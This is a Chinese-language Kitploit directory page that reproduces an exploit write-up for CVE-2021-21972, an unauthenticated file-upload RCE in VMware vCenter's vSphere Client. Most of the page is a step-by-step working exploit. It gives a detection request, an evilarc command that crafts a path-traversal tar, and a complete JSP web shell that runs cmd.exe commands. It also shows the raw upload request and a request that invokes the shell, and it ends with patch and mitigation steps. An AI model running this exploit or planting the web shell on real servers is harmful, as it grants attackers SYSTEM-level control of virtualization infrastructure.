Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-21972 — [CVE-2021-21972] VMware vSphere Client 未授权文件上传导致远程代码执行(RCE) | Kitploit
工具/GitHubGitHub/murataydemir/cve-2021-21972
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubmurataydemir/cve-2021-21972

CVE-2021-21972

[CVE-2021-21972] VMware vSphere Client 未授权文件上传导致远程代码执行(RCE)

查看仓库
6125年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

[CVE-2021-21972] VMware vSphere Client 未授权文件上传导致远程代码执行(RCE)


vSphere Web Client(HTML5)本质上是一个管理界面,用于管理 vSphere 安装。vSphere Client 让管理员无需直接访问 vSphere 服务器即可访问 vSphere 的关键功能。它允许管理员创建新的虚拟机,并管理现有的虚拟机及其资源。作为一个跨平台 Web 应用程序,它可以通过不同 Web 浏览器的受支持版本在所有受支持的操作系统上使用。

CVE-2021-21972 是 vCenter Server 中的一个未授权文件上传漏洞,可导致在远程服务器上执行远程代码。该问题源于 vRealize Operations vCenter Plugin 中缺少身份验证。其 CVSSv3 评分为 9.8(满分 10.0),属于严重级别。未认证的远程攻击者可通过向可公开访问的易受攻击 vCenter Server 端点上传特制文件来利用此漏洞。VMware vCenter Server 版本 6.5、6.7 和 7.0 均受此漏洞影响。成功利用此漏洞将使攻击者在 vCenter Server 的底层操作系统上获得不受限制的远程代码执行(RCE)权限。尽管此漏洞源于 vRealize Operations vCenter Plugin,但 VMware 安全公告 确认该插件已包含在所有默认安装的 vCenter Server 中。这意味着无论是否安装了 vRealize Operations,该易受攻击的端点始终可用。

在原始博客文章此处中,尽可能详细地解释了该漏洞的发现过程以及实现 RCE 的两种不同路径。对于 Windows 系统,攻击者可以上传特制的 .jsp 文件,以获得底层操作系统上的 NT AUTHORITY\SYSTEM 权限。对于 Linux 系统,攻击者需要生成公钥并将其上传到服务器的 authorized_keys 路径,然后通过 SSH 连接到易受攻击的服务器,以获得 vsphere-ui 用户权限。(如果 SSH 服务正在运行且可通过网络访问)

vropsplugin-service.jar 是 vropspluginui 插件的 Java 归档文件,包含一些类以及其他相关函数和方法。代码中的易受攻击部分如下所示。该代码片段属于 vropsplugin-service.jar 控制器中的 ServicesController.class。正如下面的代码片段所示,uploadOvaFile 函数负责端点/URL:/ui/vropspluginui/rest/services/uploadova

易受攻击类的完整路径:vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class

root@kitploit:~
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
  public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
    logger.info("Entering uploadOvaFile api");
    int code = uploadFile.isEmpty() ? 400 : 200;
    PrintWriter wr = null;
    try {
      if (code != 200) {
        response.sendError(code, "Arguments Missing");
        return;
      } 
      wr = response.getWriter();
    } catch (IOException e) {
      e.printStackTrace();
      logger.info("upload Ova Controller Ended With Error");
    } 
    response.setStatus(code);
    String returnStatus = "SUCCESS";
    if (!uploadFile.isEmpty())
      try {
        logger.info("Downloading OVA file has been started");
        logger.info("Size of the file received  : " + uploadFile.getSize());
        InputStream inputStream = uploadFile.getInputStream();
        File dir = new File("/tmp/unicorn_ova_dir");
        if (!dir.exists()) {
          dir.mkdirs();
        } else {
          String[] entries = dir.list();
          for (String str : entries) {
            File currentFile = new File(dir.getPath(), str);
            currentFile.delete();
          } 
          logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
        } 
        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
        TarArchiveEntry entry = in.getNextTarEntry();
        List<String> result = new ArrayList<String>();
        while (entry != null) {
          if (entry.isDirectory()) {
            entry = in.getNextTarEntry();
            continue;
          } 
          File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
          File parent = curfile.getParentFile();
          if (!parent.exists())
            parent.mkdirs(); 
          OutputStream out = new FileOutputStream(curfile);
          IOUtils.copy((InputStream)in, out);
          out.close();
          result.add(entry.getName());
          entry = in.getNextTarEntry();
        } 
        in.close();
        logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
      } catch (Exception e) {
        logger.error("Unable to upload OVA file :" + e);
        returnStatus = "FAILED";
      }  
    wr.write(returnStatus);
    wr.flush();
    wr.close();
  }

从攻击者的角度来看,该类的处理器执行以下操作:

  • 通过 POST 方法请求接收 uploadFile 参数(第 2 行)
  • 读取 uploadFile 参数并将该参数的内容写入 inputStream 变量(第 22 行)
  • 将结果数据作为 .tar 归档打开(第 34 行)
  • 检索归档中的所有条目(第 35 行)
  • 使用文件命名约定将每个当前条目复制到磁盘:/tmp/unicorn_ova_dir + entry.getName()(第 42 和 47 行)

概念验证(PoC): 要利用此漏洞,可以按照以下步骤操作:

  1. 验证漏洞
  2. 创建包含 ../../ 字符串的 .tar 归档条目
  3. 将特制的归档文件上传到服务器
  4. 访问相关路径并调用你上传的文件 /statsreport/uploadedFileName.jsp

要验证漏洞,可以使用以下请求:

root@kitploit:~
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

如果上述请求的响应与下面的响应类似,则说明远程主机存在 CVE-2021-21972 漏洞。

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous

{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
root@kitploit:~
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close

{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}

之后,我们需要创建特制的 .tar 文件。为此,可以使用 evilarc。Evilarc 是一个基础的 Python 脚本,允许你创建一个 zip 文件,其中包含在其嵌入路径中带有目录遍历字符的文件。

cmdjsp.jsp 的内容,本质上是一个 Web Shell:

root@kitploit:~
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

通过以下命令,将生成特制的 .tar 归档文件。

root@kitploit:~
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp

Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp

> cat winexpl3.tar

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

然后,只需使用以下请求将 .tar 文件上传到服务器:

root@kitploit:~
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200

------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--

上述请求的响应如下:

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7

SUCCESS
Screen Shot 2021-04-06 at 19 11 52

如果上述请求的响应状态码为 200 OK 且响应体为 SUCCESS,则说明 .tar 归档文件已成功上传到 ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport 路径。由于应用程序的处理流程,服务器会将 .tar 文件解压到 /statsreport 目录。在此阶段之后,你只需发出以下 GET 请求,即可使用 NT AUTHORITY\SYSTEM 权限执行远程代码。

root@kitploit:~
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

解决办法: VMware 已在 7.0 U1c、6.7 U3l 和 6.5 U3n 版本中分别修复了此漏洞。但是,如果无法安装补丁,要在基于 Windows 的 vCenter Server 部署上实施针对 CVE-2021-21972 和 CVE-2021-21973 的解决办法,请执行以下步骤:

  1. 通过 RDP 连接到基于 Windows 的 vCenter Server
  2. 备份文件:C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xml
  3. 在文本编辑器中打开 compatibility-matrix.xml 文件
  4. 将这一行:<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> 添加到 pluginsCompatibility 元素中
  5. 使用以下命令停止并重新启动 vsphere-ui 服务
root@kitploit:~
C:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
  1. 之后,可以在 Administration > Solutions > client-plugins 下看到 VMware vROPS Client 插件显示为"不兼容"

要在基于 Linux 的虚拟设备(vCSA)上实施针对 CVE-2021-21972 和 CVE-2021-21973 的解决办法,请执行以下步骤:

  1. 使用 SSH 会话和 root 凭据连接到 vCSA。
  2. 备份文件:/etc/vmware/vsphere-ui/compatibility-matrix.xml
  3. 在文本编辑器中打开 compatibility-matrix.xml 文件
  4. 将这一行:<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> 添加到 pluginsCompatibility 元素中
  5. 使用以下命令停止并重新启动 vsphere-ui 服务
root@kitploit:~
> service-control --stop vsphere-ui
> service-control --start vsphere-ui

请注意,此漏洞由 Positive Technologies 的 Mikhail Klyuchnikov 发现,原始研究文章可在此处查看

有关更多信息,请访问以下页面。

https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html

下载工具